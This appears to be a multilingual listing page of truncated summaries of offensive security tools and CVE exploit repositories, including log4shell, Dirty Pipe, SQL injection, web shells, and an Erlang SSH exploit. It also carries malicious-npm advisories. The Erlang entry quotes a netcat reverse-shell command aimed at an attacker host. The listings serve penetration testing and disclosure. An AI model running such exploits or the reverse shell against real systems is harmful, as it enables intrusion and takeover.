powersap

PowerSAP PowerSAPは、公開されているすべてのツール（Bizploit、Metasploitの補助モジュール、インターネット上のPythonスクリプトなど）で利用される一般的かつ効果的なテクニックを、シンプルなPowerShellで再実装したものです。この再実装には、新規または未公開の脆弱性は含まれていません。 PowerSAPは、.Netコネクタ「NCo」を使用してSAP RFCにアクセスできます。 クレジット すべてのクレジットは以下に帰属します: Onapsis - Mariano, Jordan… ERPScan @chipik ERPSEC - Joris van...

test-44228

test-44228 针对 CVE-2021-44228 的简单示例 实现了两个 Java CLI 程序，一个使用 log4j v1.x，另一个使用 log4j 2.x，用以演示 log4shell 漏洞。 另请参阅： https://www.lunasec.io/docs/blog/log4j-zero-day/ https://www.oracle.com/security-alerts/alert-cve-2021-44228.html 使用方法 存在漏洞的 Log4J2 1. 在某个服务器（localhost 或远程）上启动监听器，例如： root@kitploit: $ sud...

CVE-2024-44541

CVE-2024-44541: Inventio Lite v4 における SQL インジェクションの脆弱性 説明 Inventio Lite v4 の /action=processlogin エンドポイントには、SQL インジェクション SQLi の脆弱性が存在します。この脆弱性により、攻撃者は POST リクエスト内の username パラメータを介して任意の SQL クエリを注入でき、不正アクセスやデータの抽出につながる可能性があります。 脆弱なコード 脆弱なコードは以下の通りです： root@kitploit: if!isset$SESSION"userid" $user =...

htshells

HTSHELLS - Self contained web shells and other attacks via .htaccess files. Attacks are named in the following fashion, module.attack.htaccess and grouped by attack type in directories. Pick the one you need and copy it to a new file named .htaccess, check the file to see if it needs editing befo...

TerraMaster-TOS-CVE-2020-15568

TerraMaster TOS CVE-2020-15568 CVE-2020-15568 Metasploit 模块仓库 受影响应用 描述 文件 include/exportUser.php 中存在一个动态类方法调用漏洞，可在 TerraMaster 设备上以 root 权限执行远程命令。 该漏洞文件需要提供几个 HTTP GET 参数，才能到达方法调用并利用此漏洞。在第一行，应用包含了 app.php，它会自动加载 TOS 软件的相关核心类。 应用根据 GET 参数 type 的值来决定操作。如果 type 变量的值不是 1 或 2，则可能到达易受攻击的代码。 查看...

XBadManners

XBadManners CVE 説明 CVE-2018-16323は、XBM画像の処理におけるメモリ漏洩です。XBM画像が別の画像タイプに変換された後、画像データから漏洩したメモリバイトを抽出できます。 d4d氏によって発見されました。 ツール CVE-2018-16323のPoCを生成するための非常にシンプルなツールです。samplesディレクトリには、すぐに使えるいくつかの事前生成PoCが含まれています。 このツールを使用するには、imagemagickをインストールする必要があります: root@kitploit: apt-get -y install imagemagick...

insect

insect - Webパス発見 最新リリース: v1.4 20222.09.03 ウェブサーバーのディレクトリやファイルをブルートフォースするために設計された高度なコマンドラインツール、別名ウェブパススキャナー アイデア by @maurosoria と @shelld3v Developement-2022 は @nu11secur1ty によって活発に開発されています 目次 インストール ワードリスト オプション 設定 使用方法 シンプルな使用方法 進行状況の一時停止 再帰 スレッド プレフィックス / サフィックス ブラックリスト フィルター 生リクエスト ワードリスト形式...

CVE-2025-3243

CVE-2025-32433 Erlang SSH 库漏洞利用程序 针对 CVE-2025-32433 的概念验证漏洞利用程序，这是 Erlang 的 SSH 库中的一个严重漏洞，允许通过格式错误的 SSHMSGCHANNELREQUEST 数据包在认证前执行代码。 功能特性 原始漏洞利用程序 由 Matthew Keeley 编写 更新版本 由 Tyler Ramsbey 编写： 针对 LHOST 、LPORT 、RHOST 和 RPORT 的命令行参数 通过 argparse 提供内置帮助和用法 使用 os:cmd"nc LHOST LPORT -e /bin/sh". 的 Erla...

godehashed

Godehashed dehashed.com の API を使用して侵害されたアセットを検索するための Go 言語ツール。結果は CSV にまとめて、さらに分析することができます。 スクリーンショット Dehashed API ツールを使用するには API キーを指定する必要があります。例については apikeytemplate.txt を参照してください。 インストール CLI にツールをインストールするには、次のコマンドを実行します。$GOPATH が既に設定されている必要があります。 go get https://github.com/an00byss/godehashed 使用...

CVE-2026-0911

CVE-2026-0911 — Hustle 模块导入 PoC 针对 WordPress 插件 Hustle （wordpress-popup，WPMU DEV）的 CVE-2026-0911 内的 wphandleupload 调用以 testtype = false 执行，导致文件类型验证薄弱；即使导入后的 JSON 验证失败，上传的文件也可能 不会被删除 （“孤儿”文件）。如果服务器在 wp-content/uploads 下执行 PHP，这实际上可能成为通向远程代码执行的链条的一部分。在已修补版本中，引入了 testtype = true 和临时 uploadmimes 来限制...

padre

padre padre は、CBCモード暗号に対するPadding Oracle攻撃のための高度なエクスプロイターです。 特徴: 高速で並行処理に対応した実装 トークンの復号 任意のデータの暗号化 Padding Oracleの自動フィンガープリンティング 暗号ブロック長の自動検出 ヒント！操作中に失敗が発生した場合、成功するために調整できる点についてヒントを提供します GET/POSTパラメータ、Cookie内のトークンをサポート エンコードルールの柔軟な指定（base64、hexなど） デモ インストール/アップデート...

CVE-2022-0847-DirtyPipe-Exploits

CVE-2022-0847-DirtyPipe-Exploits ペネトレーションテスターやレッドチーム向けのエクスプロイトとドキュメントのコレクションで、Linux Dirty Pipe脆弱性の悪用を支援するために使用できます。 脆弱性について Dirty Pipe CVE-2022-0847 はLinuxカーネルのローカル権限昇格脆弱性であり、権限のないユーザーが以下のことを行える可能性があります： /etc/passwd などの任意の読み取り専用ファイルの変更/上書き。 昇格したシェルの取得。 影響を受けるバージョン Linuxカーネルバージョン5.8以降が影響を受けます。...

chaos

chaos chaosは、RSTがChatGPTと協力して開発した「オリジン」IPスキャナーです。主にペネトレーションテスターやバグハンターを対象としたニッチなユーティリティです。 オリジンIPとは、サードパーティ経由で公開されているWebサイトの最終的な公開IPアドレスを指す業界用語です。オリジンIPに関心を持つ理由について詳しく知りたい場合は、こちらのブログ記事をご覧ください。 chaosは、ChatGPTを用いたDevOpsの原則に従い、アイデアから機能するProof-of-Conceptまでを24時間未満で迅速にプロトタイプ化しました。 root@kitploit: usage:...

CVE-2026-31431

CVE-2026-31431（复制失败）检查器 检查 Linux 主机是否存在 CVE-2026-31431 漏洞并应用缓解措施。 文件 checkcve202631431.yml - 用于验证和修补的 Ansible Playbook revertcve202631431.yml - 用于撤销缓解措施的 Ansible Playbook runcheck.sh - 用于在本地或远程执行验证的脚本 runrevert.sh - 用于在本地或远程撤销更改的脚本 执行示例 1. 验证漏洞（runcheck.sh） root@kitploit: ./runcheck.sh 选择 'l'...

AI helps scammers build convincing antivirus renewal pages

Antivirus renewal scams often begin with a message claiming that your subscription has automatically renewed. When you follow the instructions to cancel it, you are taken to a fake page designed to collect your contact details. The renewal charge never existed. Receiving a message that names the...

MAL-2026-16224 Malicious code in process-mite (npm)

This package is part of a malicious npm campaign published by the max233 account. Importing the package automatically launches a detached JavaScript loader that retrieves and executes additional code from npoint.io. The retrieved payload communicates with an attacker-controlled server and...

Malicious code in process-mite (npm)

This package is part of a malicious npm campaign published by the max233 account. Importing the package automatically launches a detached JavaScript loader that retrieves and executes additional code from npoint.io. The retrieved payload communicates with an attacker-controlled server and...

phonepe-sensitive-data-exposure-cve-2025-5154

-PhonePe Androidアプリにおけるユーザー機密データの安全でないローカル保存（未パッチ）- 発見者:hc4 報告日: 2025年4月 CVEステータス: CVE要求中（保留） CVE ID要求のためのCVE要求1862785 📌 概要 PhonePe Androidアプリ（テストバージョンv25.03.21.0）において、認証トークン、個人識別情報（PII）、KYCメタデータなどのユーザー機密データが、アプリのローカルSQLiteデータベースに暗号化されずに保存されている重大なローカル脆弱性が発見されました。...

CVE-2021-41773

CVE-2021-41773 我开发了 CVE-2021-41773 的 POC，包含 RCE + cgi-bin 路径遍历 注意： 已在 APACHE2 2.4.49 上测试 您可以直接从 Docker 拉取存在漏洞的 Apache2 2.4.49 root@kitploit: $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run -dit -p 80:80 blueteamsteve/cve-2021-41773:no-cgid http://localhost:80 路径遍历 RCE 要求...

CVE-2022-30512

CVE-2022-30512 学校宿舍管理系统 1.0 - 未经身份验证的 SQL 注入 漏洞标题：学校宿舍管理系统 1.0 - 未经身份验证的 SQL 注入 日期：2022-05-25 CVE：CVE-2022-30512 漏洞作者：Abdulaziz Saad @b4zb0z 厂商主页：https://www.sourcecodester.com/ 软件链接：https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html 版本：1.0...